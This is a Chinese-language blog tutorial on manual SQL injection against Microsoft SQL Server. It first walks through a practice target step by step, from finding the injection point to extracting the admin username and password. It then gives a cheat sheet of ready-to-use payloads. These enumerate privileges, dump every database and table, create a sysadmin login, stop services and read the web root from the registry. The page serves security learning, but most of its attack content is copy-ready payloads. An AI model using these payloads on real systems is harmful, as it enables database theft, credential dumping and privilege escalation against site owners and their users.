对于MSSQL的注入点,无外乎这三种权限:SA,DB_OENER,PUBLIC。SA(System Admin)权限我们可以直接执行命令,DB_OENER权限的话,我们可以找到WEB的路径,然后用备份的方式得到webshell,有时也可以对注册表进行操作。PUBLIC权限的话,又要面对表和列了,不过MSSQL比ACCESS的“猜”表方便许多,这里是“暴”表,使目标直接暴出来。

手工注入测试

这里我用墨者学院的靶场作为例子,来详细介绍一下每一步命令的原理。

第一步:查找注入点 http://219.153.49.228:40603/new_list.asp?id=2 and 1=1 页面返回正常说明存在注入点。

这里和mysql一样的判断方式

第二步:查找列数 http://219.153.49.228:40603/new_list.asp?id=2 order by 1成功 ;order by 2 成功;order by 3 失败; order by 4 成功;order by 5 失败 说明列数位于 3-4之间。

第三步:查找回显点 http://219.153.49.228:40603/new_list.asp?id=2 and 1=2 union all select null,null,null,null;挨个替换null 发现 select null,2,null,null 页面出现回显。

这里的1=2是将前面的查询结果变为假把位置腾出来显示我们后面进行查询的结果。union select不能用,就用union all select代替,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。区别就是union all查询的结果是允许重复的。mssql里不能用数字作为占位符,只能用null

第四步:查看数据库版本?id=2 and 1=2 union all select 1,(SERVERPROPERTY('edition')),'3',4;或者?id=2 and 1=2 union all select 1,(@@version),'3',4。查找所在库名称添加: ?id=2 and 1=2 union all select 1,(select db_name()), '3', 4 找到数据库名称。

提示:这里也可以使用db_name(1)、db_name(2)等查询其他数据库。(这里加'号是为了让数据类型一致)。SQL Server Express Edition(仅适用于bai 32 位)——学习版SQL Server Express 数据库平台基于 SQL Server 2005。





第五步:查找数据库表名称:?id=2 and 1=2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype = 'U'),'3',4 提示: xtype='U' 为 用户表

Top关键字:由于MSSQL中不存在limit,那么想要输出一条数据直接top 1,输出两条数据top 2,输出第二条数据top 1+限制条件。关于dbo.的意思参考,在MSSQL中每个库都有一个系统自带表-->sysobjects此系统表中对我们有用的只有3个字段,NAME字段和XTYPE字段和ID字段,name就是表名信息,xtype是代表表的类型,只有两个参数,S代表系统自带表,U代表用户创建的表,id字段的值用来连接syscolumns表

第六步:查找列名称:?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4 替换 col_name(object_id('manage'),1) 中的1 依次为 2,3,4查出所有列名。

col_name(object_id('manage'),1)这句将指定表的指定列的列名显示出来(col_name是系统函数,用法col_name(obj_id,col_id))

第七步:查取数据: ?id=2 and 1=2 union all select 1,(select top 1 username from manage),'3',4 获取用户名;?id=2 and 1=2 union all select 1,(select top 1 password from manage),'3',4 获取密码





第八步:MD5 解密

其他常用注入命令

确定数据库类型:

http://www.xxx.xxx/xxx.asp?id=6 and user>0

http://www.xxx.xxx/xxx.asp?id=6 and (select count(*) from sysobjects)>0 //正常返回就是mssql数据库

and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员

and 1=(Select IS_MEMBER('db_owner')) //判断是否是库权限

and 1= (Select HAS_DBACCESS('master')) //判断是否有库读取权限

and exists(select * from tableName) //判断某表是否存在..tableName为表名

and 1=(select @@VERSION) //MSSQL版本

And 1=(select db_name()) //当前数据库名

and 1=(select @@servername) //本地服务名

获取数据库 (该语句是一次性获取全部数据库的,且语句只适合>=2005,两条语句可供选择使用)

and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--

and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--

获取当前数据库

and db_name()>0

获取当前数据库中的表(有2个语句可供选择使用)【下列语句可一次爆数据库所有表(只限于mssql2005及以上版本)】

and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--

and 1=(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--

逐条爆指定表的所有字段的数据(只限于mssql2005及以上版本):

and 1=(select top 1 * from 指定数据库..指定表名 where FOR XML PATH(''))--

一次性爆N条所有字段的数据(只限于mssql2005及以上版本):

and 1=(select top N * from 指定数据库..指定表名 FOR XML PATH(''))--

添加和删除一个SA权限的用户test:(需要SA权限)

exec master.dbo.sp_addlogin test,password

exec master.dbo.sp_addsrvrolemember test,sysadmin

停掉或激活某个服务。 (需要SA权限)

exec master..xp_servicecontrol 'stop','schedule'

exec master..xp_servicecontrol 'start','schedule'

暴网站目录

create table labeng(lala nvarchar(255), id int)
DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result output insert into labeng(lala) values(@result); and 1=(select top 1 lala from labeng) 或者and 1=(select count(*) from labeng where lala>1)

mssql 手工注入流程小结的更多相关文章

  1. 2019-10-29:渗透测试,基础学习,sqlmap文件读取,写入,dnslog盲注作用,mssql手工注入,笔记

    sqlmap参数--file-read,从数据库服务器中读取文件--file-write,--file-dest,把文件上传到数据库服务器中 dnslog平台的学习和它在盲注中的应用1,判断注入点2, ...

  2. mssql手工注入及绕过术

      报错注入: - 例子:http://www.kfgtfcj.xxx.cn/lzygg/Zixun_show.aspx?id=1 [1]首先爆版本:http://www.kfgtfcj.xxx.cn ...

  3. MSSQL手工注入 报错注入方法

    例子:www.kfgtfcj.gov.cn/lzygg/Zixun_show.aspx?id=1[1]首先爆版本:http://www.kfgtfcj.gov.cn/lzygg/Zixun_show. ...

  4. SQLite手工注入方法小结

    SQLite 官网下载:www.sqlite.org/download.html sqlite管理工具:http://www.yunqa.de/delphi/products/sqlitespy/in ...

  5. mssql手工注入2

    --+ 先说一些函数的说明: substring(str,start,len) 截取字符串的作用,第一个参数为要截取的字符串,第二个参数为从哪里开始截取,第三个参数为截取的长度 ascii(char) ...

  6. mssql手工注入

    判断注入点: 1.数字型 http://www.targer.com/article.aspx?id=1 http://www.targer.com/article.aspx?id=1' http:/ ...

  7. mssql手工注入1

    强制字符转成数字, 所以报错, 能获得数据 查版本号: http: -- 查数据库版本: http: -- 查当前数据库用户(如果看到dbo 那么多半当前数据库的用户是dba权限): http: -- ...

  8. 手工注入——sql server (mssql)注入实战和分析

    前言 首先要对sql server进行初步的了解.常用的全部变量@@version:返回当前的Sql server安装的版本.处理器体系结构.生成日期和操作系统.@@servername:放回运行Sq ...

  9. sql工具和手工注入总结

    普通注入: 数字注入 字符注入 base64注入:和常规的方法没有说明区别,主要是解码然后编码: 如果普通注入不行,尝试大小写绕过,编码等绕过: 如果不行尝试盲注: POST注入 0x00 常用的 注 ...

随机推荐

  1. Java实现 LeetCode 68 文本左右对齐

    68. 文本左右对齐 给定一个单词数组和一个长度 maxWidth,重新排版单词,使其成为每行恰好有 maxWidth 个字符,且左右两端对齐的文本. 你应该使用"贪心算法"来放置 ...

  2. pi-star 升级固件命令

    单天线热点: sudo pistar-mmdvmhshatflash hs_hat 双天线热点: sudo pistar-mmdvmhshatflash hs_dual_hat 命令: wget ht ...

  3. 基于 abp vNext 和 .NET Core 开发博客项目 - 博客接口实战篇(三)

    系列文章 基于 abp vNext 和 .NET Core 开发博客项目 - 使用 abp cli 搭建项目 基于 abp vNext 和 .NET Core 开发博客项目 - 给项目瘦身,让它跑起来 ...

  4. 存储过程WHERE条件不生效

    业务上有个删除操作需要涉及到几张表,一条一条操作很麻烦,所以想写个存储过程来封装下,原始语句如下: DELETE FROM AUTH_AUTHORITY WHERE `ID` in ('f_view_ ...

  5. 容器编排工具之Docker-compose

    前文我们聊了下docker私有仓库harbor的搭建,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/13061984.html:在上一篇博客的末尾,我们简单聊了 ...

  6. 入门springMVC

    前言 开始学习springMVC整理的笔记,今天这一篇是回顾第一个springMVC程序. 环境 大致文件结构 先是要创建好一个普通maven工程,加入一些servlet包以及mvc支持的jar包,如 ...

  7. LR脚本信息函数-lr_get_vuser_ip

    lr_get_vuser_ip 返回Vuser的IP地址. char * lr_get_vuser_ip(); lr_get_vuser_ip函数返回Vuser的IP地址. 当执行IP欺骗时,每个Vu ...

  8. 【JMeter_12】JMeter逻辑控制器__包括控制器<Include Controller>

    包括控制器<Include Controller> 业务逻辑: 通过Filename的路径和文件名引用外部的jmx文件,然后对齐执行,若外部文件中没有可执行范围内的脚本内容,则跳过该逻辑控 ...

  9. 6.kubernetes的GUI资源管理插件-dashboard

    目录 1.准备dashboard镜像 2.创建资源配置清单 3.应用资源配置清单 4.查看创建的资源 5.解析域名 6.浏览器访问 7.令牌命令行获取方式 准备dashboard镜像 [root@hd ...

  10. 【K8S】Service服务详解,看这一篇就够了!!

    k8s用命名空间namespace把资源进行隔离,默认情况下,相同的命名空间里的服务可以相互通讯,反之进行隔离. 1.1 Service Kubernetes中一个应用服务会有一个或多个实例(Pod, ...